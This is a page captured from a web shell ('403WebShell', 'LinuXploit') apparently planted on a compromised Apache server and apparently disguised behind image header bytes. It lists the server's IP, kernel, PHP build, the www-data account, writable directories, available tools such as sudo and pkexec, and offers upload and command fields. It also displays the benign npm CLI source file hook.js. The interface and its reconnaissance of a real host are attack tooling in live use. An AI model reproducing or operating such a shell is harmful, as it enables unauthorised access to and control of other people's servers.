????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.142.43.53
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/lib/node_modules/npm/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/lib/node_modules/npm/lib/hook.js
const hookApi = require('libnpmhook')
const otplease = require('./utils/otplease.js')
const relativeDate = require('tiny-relative-date')
const Table = require('cli-table3')

const BaseCommand = require('./base-command.js')
class Hook extends BaseCommand {
  static get description () {
    return 'Manage registry hooks'
  }

  static get name () {
    return 'hook'
  }

  /* istanbul ignore next - see test/lib/load-all-commands.js */
  static get params () {
    return [
      'registry',
      'otp',
    ]
  }

  static get usage () {
    return [
      'add <pkg> <url> <secret> [--type=<type>]',
      'ls [pkg]',
      'rm <id>',
      'update <id> <url> <secret>',
    ]
  }

  exec (args, cb) {
    this.hook(args).then(() => cb()).catch(cb)
  }

  async hook (args) {
    return otplease(this.npm.flatOptions, (opts) => {
      switch (args[0]) {
        case 'add':
          return this.add(args[1], args[2], args[3], opts)
        case 'ls':
          return this.ls(args[1], opts)
        case 'rm':
          return this.rm(args[1], opts)
        case 'update':
        case 'up':
          return this.update(args[1], args[2], args[3], opts)
        default:
          throw this.usage
      }
    })
  }

  async add (pkg, uri, secret, opts) {
    const hook = await hookApi.add(pkg, uri, secret, opts)
    if (opts.json)
      this.npm.output(JSON.stringify(hook, null, 2))
    else if (opts.parseable) {
      this.npm.output(Object.keys(hook).join('\t'))
      this.npm.output(Object.keys(hook).map(k => hook[k]).join('\t'))
    } else if (!opts.silent && opts.loglevel !== 'silent') {
      this.npm.output(`+ ${this.hookName(hook)} ${
        opts.unicode ? ' ➜ ' : ' -> '
      } ${hook.endpoint}`)
    }
  }

  async ls (pkg, opts) {
    const hooks = await hookApi.ls({ ...opts, package: pkg })
    if (opts.json)
      this.npm.output(JSON.stringify(hooks, null, 2))
    else if (opts.parseable) {
      this.npm.output(Object.keys(hooks[0]).join('\t'))
      hooks.forEach(hook => {
        this.npm.output(Object.keys(hook).map(k => hook[k]).join('\t'))
      })
    } else if (!hooks.length)
      this.npm.output("You don't have any hooks configured yet.")
    else if (!opts.silent && opts.loglevel !== 'silent') {
      if (hooks.length === 1)
        this.npm.output('You have one hook configured.')
      else
        this.npm.output(`You have ${hooks.length} hooks configured.`)

      const table = new Table({ head: ['id', 'target', 'endpoint'] })
      hooks.forEach((hook) => {
        table.push([
          { rowSpan: 2, content: hook.id },
          this.hookName(hook),
          hook.endpoint,
        ])
        if (hook.last_delivery) {
          table.push([
            {
              colSpan: 1,
              content: `triggered ${relativeDate(hook.last_delivery)}`,
            },
            hook.response_code,
          ])
        } else
          table.push([{ colSpan: 2, content: 'never triggered' }])
      })
      this.npm.output(table.toString())
    }
  }

  async rm (id, opts) {
    const hook = await hookApi.rm(id, opts)
    if (opts.json)
      this.npm.output(JSON.stringify(hook, null, 2))
    else if (opts.parseable) {
      this.npm.output(Object.keys(hook).join('\t'))
      this.npm.output(Object.keys(hook).map(k => hook[k]).join('\t'))
    } else if (!opts.silent && opts.loglevel !== 'silent') {
      this.npm.output(`- ${this.hookName(hook)} ${
        opts.unicode ? ' ✘ ' : ' X '
      } ${hook.endpoint}`)
    }
  }

  async update (id, uri, secret, opts) {
    const hook = await hookApi.update(id, uri, secret, opts)
    if (opts.json)
      this.npm.output(JSON.stringify(hook, null, 2))
    else if (opts.parseable) {
      this.npm.output(Object.keys(hook).join('\t'))
      this.npm.output(Object.keys(hook).map(k => hook[k]).join('\t'))
    } else if (!opts.silent && opts.loglevel !== 'silent') {
      this.npm.output(`+ ${this.hookName(hook)} ${
        opts.unicode ? ' ➜ ' : ' -> '
      } ${hook.endpoint}`)
    }
  }

  hookName (hook) {
    let target = hook.name
    if (hook.type === 'scope')
      target = '@' + target
    if (hook.type === 'owner')
      target = '~' + target
    return target
  }
}
module.exports = Hook

Youez - 2016 - github.com/yon3zu
LinuXploit